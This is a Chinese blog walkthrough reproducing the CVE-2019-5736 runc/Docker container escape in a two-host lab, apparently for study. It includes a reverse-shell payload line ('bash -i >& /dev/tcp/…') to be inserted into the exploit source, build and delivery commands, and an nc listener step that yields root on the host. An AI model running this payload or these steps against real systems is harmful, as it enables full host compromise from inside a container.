CVE漏洞复现-CVE-2019-5736 Docker逃逸

漏洞条件:

root运行Docker
Docker Version < 18.09.2
runc版本<=1.0-rc6

复现环境

kali10.0.0.200
centos10.0.0.50

一.kaili节点

1.执行以下命令,转到管理员

su root

2.执行以下命令,切换软件源

sudo bash -c "cat << EOF >> /etc/apt/sources.list 
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
EOF"

  

apt update

 

3.执行以下命令,下载go的编译环境

apt -y install golang

 

4.把脚本文件压缩包上传到家目录

脚本文件在文章开头,且附上百度网盘链接链接: 脚本文件

 

5.执行unzip CVE... Tab键补全

后面就是上传的文件名 

uzip 文件名

 

 得到一个跟解压包一样名字的的文件夹 

6. 进到该文件夹内

cd 文件名

 

 7.编辑文件main.go

vim main.go

进去后执行:set nu 

需要修改的内容在这个部分

在26行这里需要注释掉,添加//即可 

在26行后面添加

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/10.0.0.200/12345 0>&1" + shellCmd

ip和端口可以根据自己需要修改 

28行,第39行把/bin/sh  改为/bin/bash

 

保存退出

 执行

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

 出现绿色的main文件 

8.打开python服务,执行

python -m http.server 7987

9.到目前为止都是kali节点执行

二.在centos上执行

1.检查,执行

docker -v
docker-runc -v

符合要求即可 

2. 启动docker

service docker start

3.启动ubuntu容器

docker run -it ubuntu:18.04 "/bin/bash"

没有的话会帮你下一个ubuntu的镜像,执行exit退出

4.执行exit

exit

5.下载kali的main文件 

三.到kali节点

 1.停掉python服务

2.执行nc -lvnp 12345

四.到centos节点 

1.查看刚刚下载的ubuntu的名字

docker ps -a

找到ubuntu的前4位          //每个人的都不一样  

2.打开容器,执行

docker start f54d

 3.执行

docker cp ./main f54d:/home

 4.进入Docker bash,执行

docker exec -it f54d /bin/sh

//     分别执行图中命令

cd /home
ls
chmod 777 main
./main

 5.centos节点远程链接再开一个

 执行

docker exec -it f54d /bin/bash

五. 

centos第一个终端

kali取得centos的所有权限 

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值